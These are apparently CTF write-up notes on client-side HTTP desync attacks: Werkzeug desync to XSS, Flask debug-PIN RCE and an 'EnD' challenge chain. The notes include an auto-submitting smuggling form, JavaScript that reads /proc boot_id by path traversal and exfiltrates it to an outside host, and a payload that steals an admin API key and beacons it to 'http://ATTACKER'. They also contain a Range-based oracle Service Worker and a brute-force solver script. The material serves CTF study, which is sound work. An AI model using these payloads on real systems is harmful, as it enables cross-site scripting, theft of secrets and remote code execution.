CVE Wergzeug 2.0.1 & 2.1.1
https://mizu.re/post/abusing-client-side-desync-on-werkzeug
Desynth Recruit - web
- Open Redirect => http://127.0.0.1:1337/go?to=//webhook.site
- Client Side Desync to XSS the bot https://mizu.re/post/abusing-client-side-desync-on-werkzeug
<form id="x" action="http://127.0.0.1:1337/" method="POST" enctype="text/plain"><textarea name="GET http://xpl.xanhacks.xyz:4444 HTTP/1.1Foo: x">Mizu</textarea><button type="submit">CLICK ME</button></form><script>x.submit()
</script>
- Read and exiltrate file used for generate Flask debug pin, ex:
var request = new XMLHttpRequest();request.open('GET', '/api/ipc_download?file=../../../../../proc/sys/kernel/random/boot_id', false);request.send();var flag = request.responseText;window.location.href = "http://xpl.xanhacks.xyz:4444?flag=" + flag;
- Generate PIN + RCE via /console
SEETF Client side desync attack
https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/now-you-c-me
EnD — sec-fetch-dest: script → Content-Length: 0 response-splitting desync → proxy XSS → Range (206/416) prefix oracle
| Event Name | Sekai CTF 2026 |
| GitHub URL | https://github.com/ZeyadZonkorany/MY-CTF-CHALLENGES/tree/main/Sekai%20CTF%202026/EnD |
| Challenge Name | EnD |
Attachments
References
Setup. 3 services in one net namespace: Node proxy:3000 (reverse proxy /view/<name>/…, strict CSP script-src 'self', /admin shows API_KEY, admin-cookie gated), Flask api:9090 (holds OAUTH_SECRET=flag, only reachable from the bot), Puppeteer bot (has admin cookie for the proxy, launches Chrome M126 with --unsafely-treat-insecure-origin-as-secure → proxy/attacker origins become secure contexts, and --disable-popup-blocking). Goal: read the flag from api /messages/search, which needs the API_KEY only visible on /admin.
Root cause / chain.
- Proxy "blocks scripts" by rewriting
Content-Length: 0for anySec-Fetch-Dest: scriptresponse, but stillproxyRes.pipe(res)the full upstream body → the extra bytes are a smuggled HTTP response (client-side response desync). Attacker registers a public page (/add), the proxied page ships many<script>tags; pool-exhaustion (hang most requests, 6-conn cap) forces a queued script onto the poisoned keep-alive connection which parses the smuggledapplication/javascriptand executes same-origin on the proxy (defeatingscript-src 'self'). - That JS reads
/adminwithcredentials:'include'(bot cookie is sent same-origin) → leaksAPI_KEY. apiusessend_file(conditional=True)→ honours HTTP Range. A prefix match echoes the whole flag (JSON len 44); no-match is{"results": []}(len 15).Range: bytes=15-15→ 206 iff prefix matches, else 416 — a boolean prefix oracle observed cross-origin via a Service-Worker +<audio>Range side channel (Chromium issue 474435504). Binary/linear search recovers the flag char-by-char; on the 2-min bot timeout, resubmit with the recovered prefix.
Flag (local test build): flag{fak3_fl4g_f0r_t3st1ng} (real flag = OAUTH_SECRET).
Reproduction caveats (verified on the shipped stack: Chrome M126, Node 20).
- Fully reproduced: SSRF-guard bypass, the Node
Content-Length:0body-leak (deterministic at the socket layer), the 206/416 Range oracle, and end-to-end flag recovery through that oracle. - The in-browser desync execution did not reproduce on stock M126 in a local harness: Node corks
writeHeaduntil the first body write (universal across Node 20.0–20.20/22, so CL:0 headers always ship with the smuggled body — no early-flush window), and M126 refuses to reuse a connection that has trailing bytes (CanReuseConnection). Both facts were measured directly. These are the author's deliberately hard, version/condition-sensitive steps; treat the browser desync + the exact CVE-474435504 observable as version-pinned. - Local-lab tip for SSRF-guarded proxies: put the attacker container on a public-looking Docker subnet (
13.37.0.0/16) with a dottedextra_hostsname — passes bothisPrivateIP()andisPublicHostname()against unmodified challenge code. See [[XSLeak]] for the Range/side-channel family.
why it is vulnerable
// proxy/app.js — the "defense" that becomes the bug
if (req.headers['sec-fetch-dest'] === 'script') {
h['content-length'] = '0' // tell the browser the body is empty...
delete h['transfer-encoding']
}
res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res) // ...but pipe the FULL upstream body anyway ->
// leftover bytes = a smuggled HTTP response on the socket
# api/app.py — prefix oracle + Range support
results = [m for m in _INBOX if m.startswith(q)] # match -> body echoes full flag (len 44)
data = json.dumps({"results": results}).encode() # no match -> {"results": []} (len 15)
return send_file(io.BytesIO(data), mimetype="application/json",
conditional=True) # conditional=True -> honours HTTP Range
# Range: bytes=15-15 -> 206 iff prefix matches (byte 15 exists only in the 44-byte body), else 416exploit payload
# Attacker upstream response for /view/<name>/smuggle.js (Sec-Fetch-Dest: script).
# Proxy rewrites the OUTER response to Content-Length: 0 but pipes this body verbatim.
# The body is itself a complete HTTP response -> parsed by the next queued <script>.
HTTP/1.1 200 OK\r\n
Content-Type: text/plain\r\n
Content-Length: <len(inner)>\r\n
Connection: keep-alive\r\n
\r\n
<inner>= HTTP/1.1 200 OK\r\n
Content-Type: application/javascript\r\n
Content-Length: <len(js)>\r\n
Connection: keep-alive\r\n
\r\n
<malicious js>
// <malicious js> runs same-origin on the proxy: leak API_KEY from /admin, beacon it out
fetch('/admin', {credentials:'include'}).then(r=>r.text()).then(h=>{
const key = (h.match(/id="api-key">([^<]+)/)||[])[1];
new Image().src = 'http://ATTACKER/beacon?key=' + key; // img-src * allows the cross-origin GET
});
// oracle: SW on the (secure-context) attacker origin injects a threshold Range at the API
self.addEventListener('fetch', e => {
const u = new URL(e.request.url); if (u.pathname !== '/media') return;
const range = e.request.headers.get('range') || '';
e.respondWith((async () => {
if (range === 'bytes=0-') // fake a 44-byte seekable resource
return new Response(new Uint8Array([0x49]), {status:206, headers:{
'Content-Type':'audio/mpeg','Content-Range':'bytes 0-0/44','Accept-Ranges':'bytes','Content-Length':'1'}});
// follow-up range -> forward to the real API; 206 (match) vs 416 (no match) leaks the bit
return fetch(`${API}/messages/search?key=${KEY}&q=${encodeURIComponent(Q)}`,
{mode:'no-cors', headers:{'Range':'bytes=15-43'}});
})());
});solver
#!/usr/bin/env python3
# Recover the flag through the API's 206/416 Range prefix oracle. In the challenge this
# request is issued from inside the bot's browser (only host that can reach the API) with
# the API_KEY leaked from /admin; here we drive the identical oracle directly.
import argparse, http.client, urllib.parse, string, sys
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}-!?.@#$%^&*()+="
def oracle(host, port, key, prefix):
conn = http.client.HTTPConnection(host, port, timeout=10)
q = urllib.parse.quote(prefix, safe="")
conn.request("GET", f"/messages/search?key={key}&q={q}",
headers={"Host": "api", "Range": "bytes=15-15"})
r = conn.getresponse(); r.read(); conn.close()
return r.status == 206 # 206 = prefix match, 416 = no match
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--api", default="http://127.0.0.1:9090")
ap.add_argument("--key", required=True); ap.add_argument("--start", default="flag{")
a = ap.parse_args(); u = urllib.parse.urlparse(a.api); host, port = u.hostname, u.port or 80
flag = a.start
while not flag.endswith("}"):
for c in CHARSET:
if oracle(host, port, a.key, flag + c): flag += c; print("[+]", flag, file=sys.stderr); break
else: print("[!] charset exhausted at", flag, file=sys.stderr); break
print(flag)
if __name__ == "__main__": main()
# API_KEY is derived: HMAC_SHA256(OAUTH_SECRET, "api-auth")[:16]; leaked from /admin in the real chain.
# Run from the bot's network position (the API is internal-only):
docker run --rm --network <compose>_backnet -v "$PWD/solver.py:/solver.py:ro" python:3.12-slim \
python /solver.py --api http://api:9090 --key <API_KEY>
# -> flag{fak3_fl4g_f0r_t3st1ng}